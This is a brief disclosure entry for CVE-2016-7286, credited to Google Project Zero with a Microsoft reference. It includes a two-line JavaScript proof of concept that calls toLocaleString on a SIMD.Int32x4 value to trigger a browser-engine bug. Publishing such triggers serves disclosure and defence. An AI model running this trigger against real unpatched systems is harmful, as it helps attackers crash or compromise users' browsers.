CVE-2016-7286 Report: Dec 2016 Fix: Oct 2016 Credit: Natalie Silvanovich, Google Project Zero PoC var v = SIMD.Int32x4(1, 2, 3, 4); v.toLocaleString(1, 2, 3, 4) Reference Microsoft Project Zero